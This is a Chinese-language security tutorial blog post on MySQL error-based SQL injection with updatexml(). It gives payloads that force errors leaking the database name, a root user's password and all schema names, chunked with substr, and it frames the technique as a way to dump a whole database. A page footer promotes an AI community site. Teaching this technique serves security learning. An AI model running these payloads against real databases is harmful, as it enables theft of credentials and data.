「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

updatexml() 常用来修改xml文件的内容

updatexml(参数1 , 参数2 , 参数3);

  • 参数1: 文件名 , 比如 a.xml
  • 参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
  • 参数3: 数值 , 比如 tianjing

 如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容

 路径参数的内容总会在错误提示中展示出来

 如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',database()),3);

比如,查询当前使用的数据库

 此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误

 如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

 基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

 由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

 从第1个字符开始 , 截取31个

 从第32个字符开始 , 截取31个

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

 至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐